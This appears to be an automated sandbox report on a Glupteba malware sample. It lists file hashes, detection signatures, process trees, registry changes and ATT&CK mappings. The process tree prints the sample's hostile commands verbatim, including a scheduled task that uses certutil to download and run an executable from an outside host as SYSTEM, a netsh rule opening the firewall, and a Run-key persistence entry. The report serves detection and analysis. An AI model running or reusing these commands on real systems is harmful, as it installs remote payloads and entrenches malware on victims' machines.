glupteba | 4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

General

Target

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Size

3.8MB
MD5

827759386f54f0b296fc04902e9da469
SHA1

dd96acff5064c40e1b5b95d072d844723566703c
SHA256

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6
SHA512

d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2044-131-0x0000000001710000-0x0000000001F14000-memory.dmp	family_glupteba
behavioral2/memory/2044-132-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral2/memory/2044-134-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral2/memory/1284-138-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral2/memory/1284-142-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral2/memory/4336-144-0x0000000001A00000-0x0000000002204000-memory.dmp	family_glupteba
behavioral2/memory/4336-147-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba
behavioral2/memory/4336-151-0x0000000000400000-0x0000000000C50000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4584 created 2044	4584	svchost.exe	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
PID 4584 created 4336	4584	svchost.exe	csrss.exe
PID 4584 created 4336	4584	svchost.exe	csrss.exe
PID 4584 created 4336	4584	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4336 csrss.exe
2656 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

4596 netsh.exe

pid	process
4336	csrss.exe
2656	patch.exe

pid	process
4596	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2783062828-828903012-4218294845-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BlackSun = "\"C:\\Windows\\rss\\csrss.exe\""	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1376 bcdedit.exe

pid	process
1376	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
File opened for modification	C:\Windows\rss	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3760 schtasks.exe
3084 schtasks.exe

pid	process
3760	schtasks.exe
3084	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.execsrss.exe

pid	process
2044	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
2044	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
1284	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
1284	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
4336	csrss.exe
4336	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2044	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Token: SeImpersonatePrivilege	2044	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
Token: SeTcbPrivilege	4584	svchost.exe
Token: SeTcbPrivilege	4584	svchost.exe
Token: SeBackupPrivilege	4584	svchost.exe
Token: SeRestorePrivilege	4584	svchost.exe
Token: SeBackupPrivilege	4584	svchost.exe
Token: SeRestorePrivilege	4584	svchost.exe
Token: SeSystemEnvironmentPrivilege	4336	csrss.exe
Token: SeBackupPrivilege	4584	svchost.exe
Token: SeRestorePrivilege	4584	svchost.exe
Token: SeBackupPrivilege	4584	svchost.exe
Token: SeRestorePrivilege	4584	svchost.exe
Token: SeBackupPrivilege	4584	svchost.exe
Token: SeRestorePrivilege	4584	svchost.exe
Token: SeBackupPrivilege	4584	svchost.exe
Token: SeRestorePrivilege	4584	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.execmd.execsrss.exe

description	pid	process	target process
PID 4584 wrote to memory of 1284	4584	svchost.exe	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
PID 4584 wrote to memory of 1284	4584	svchost.exe	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
PID 4584 wrote to memory of 1284	4584	svchost.exe	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
PID 1284 wrote to memory of 2924	1284	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	cmd.exe
PID 1284 wrote to memory of 2924	1284	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	cmd.exe
PID 2924 wrote to memory of 4596	2924	cmd.exe	netsh.exe
PID 2924 wrote to memory of 4596	2924	cmd.exe	netsh.exe
PID 1284 wrote to memory of 4336	1284	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	csrss.exe
PID 1284 wrote to memory of 4336	1284	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	csrss.exe
PID 1284 wrote to memory of 4336	1284	4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe	csrss.exe
PID 4584 wrote to memory of 3760	4584	svchost.exe	schtasks.exe
PID 4584 wrote to memory of 3760	4584	svchost.exe	schtasks.exe
PID 4584 wrote to memory of 3084	4584	svchost.exe	schtasks.exe
PID 4584 wrote to memory of 3084	4584	svchost.exe	schtasks.exe
PID 4584 wrote to memory of 2656	4584	svchost.exe	patch.exe
PID 4584 wrote to memory of 2656	4584	svchost.exe	patch.exe
PID 4336 wrote to memory of 1376	4336	csrss.exe	bcdedit.exe
PID 4336 wrote to memory of 1376	4336	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
"C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044

C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe
"C:\Users\Admin\AppData\Local\Temp\4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1284

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2924

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4596

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4336

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3760

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3084

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2656

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4584

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
827759386f54f0b296fc04902e9da469

SHA1
dd96acff5064c40e1b5b95d072d844723566703c

SHA256
4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

SHA512
d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
827759386f54f0b296fc04902e9da469

SHA1
dd96acff5064c40e1b5b95d072d844723566703c

SHA256
4ddac6c524c1b98a71080bab908cfb0dc8f4935e379206985a1b737e32fcfef6

SHA512
d6c61c99a95e68505e13ff596914c99c7297e05bc45ee4e59a06272c037fcd80c2094e3ed0772e60bcc0428d4e4b71340e48b1091cd2aadea376cc7e93f3bc8e

Download Submit
memory/1284-133-0x0000000000000000-mapping.dmp

Download
memory/1284-137-0x0000000001180000-0x0000000001528000-memory.dmp

Filesize
3.7MB

Download
memory/1284-138-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/1284-142-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/1376-150-0x0000000000000000-mapping.dmp

Download
memory/2044-134-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/2044-130-0x0000000001358000-0x0000000001700000-memory.dmp

Filesize
3.7MB

Download
memory/2044-132-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/2044-131-0x0000000001710000-0x0000000001F14000-memory.dmp

Filesize
8.0MB

Download
memory/2656-148-0x0000000000000000-mapping.dmp

Download
memory/2924-135-0x0000000000000000-mapping.dmp

Download
memory/3084-146-0x0000000000000000-mapping.dmp

Download
memory/3760-145-0x0000000000000000-mapping.dmp

Download
memory/4336-144-0x0000000001A00000-0x0000000002204000-memory.dmp

Filesize
8.0MB

Download
memory/4336-147-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/4336-143-0x0000000001600000-0x00000000019A8000-memory.dmp

Filesize
3.7MB

Download
memory/4336-139-0x0000000000000000-mapping.dmp

Download
memory/4336-151-0x0000000000400000-0x0000000000C50000-memory.dmp

Filesize
8.3MB

Download
memory/4596-136-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads